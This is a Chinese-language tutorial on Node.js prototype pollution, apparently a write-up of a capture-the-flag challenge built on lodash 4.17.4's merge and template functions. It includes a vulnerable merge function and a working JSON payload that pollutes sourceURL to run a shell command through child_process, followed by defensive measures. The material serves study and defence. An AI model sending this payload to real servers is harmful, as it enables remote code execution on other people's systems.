Node.js原型链污染的利用
字数 1003 2025-08-15 21:34:06
Node.js原型链污染漏洞分析与利用
0x00 原型链污染基础概念
JavaScript原型与原型链
- JavaScript中每个对象都有一个
__proto__属性,指向其构造函数的原型对象 - 当访问对象属性时,如果对象本身没有该属性,会沿着原型链向上查找
- 原型链污染就是通过修改原型对象的属性,影响所有继承该原型的对象
原型链污染基本原理
A.__proto__.a = 2; // 修改原型属性
B = new A.constructor();
console.log(B.a); // 输出2,说明污染成功
0x01 原型链污染触发条件
关键条件
- 能够控制对象键名
- 能够将
__proto__作为普通键名处理
常见危险操作
-
对象合并(merge)
function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] // 危险操作点 } } } -
对象克隆(clone)
- 本质是将对象合并到空对象中
关键技巧
- 直接使用
{"__proto__": {...}}不会触发污染,因为__proto__会被识别为原型 - 需要通过JSON解析才能使
__proto__被识别为普通键名:let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
0x02 实际漏洞利用分析
环境搭建
- 下载Node.js并安装
- 下载漏洞代码:https://github.com/phith0n/code-breaking/tree/master/2018/thejs/web
- 安装依赖:
npm install - 使用VS Code调试:
- 创建launch.json文件
- 设置program为server.js
- 设置断点调试
漏洞代码分析
const lodash = require('lodash') // 版本4.17.4存在漏洞
// 危险点1:使用lodash.template
let compiled = lodash.template(content)
let rendered = compiled({...options})
// 危险点2:使用lodash.merge
data = lodash.merge(data, req.body)
利用条件
- 请求方法为POST
- Content-Type设置为application/json
- 构造特殊payload污染原型链
利用步骤
- 发送POST请求,Content-Type为application/json
- 构造payload污染Object原型:
{ "__proto__": { "sourceURL": "\u000areturn e => { for (var a in {}) {delete Object.prototype[a]; } return global.process.mainModule.constructor._load('child_process').execSync('whoami')}\u000a// " } } - 触发lodash.template中的代码执行:
// lodash.template内部实现 var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' var result = attempt(function() { return Function(importsKeys, sourceURL + 'return ' + source) .apply(undefined, importsValues); });
0x03 防御措施
- 升级lodash到最新版本
- 避免使用不安全的对象合并操作
- 对用户输入进行严格过滤
- 使用Object.freeze冻结原型对象:
Object.freeze(Object.prototype);
0x04 总结
原型链污染漏洞利用的关键点:
- 找到能够控制对象键名的操作点(如merge、clone)
- 确保
__proto__被识别为普通键名(使用JSON解析) - 找到能够被污染影响的关键属性(如template中的sourceURL)
- 构造payload实现代码执行
参考文章:
- https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html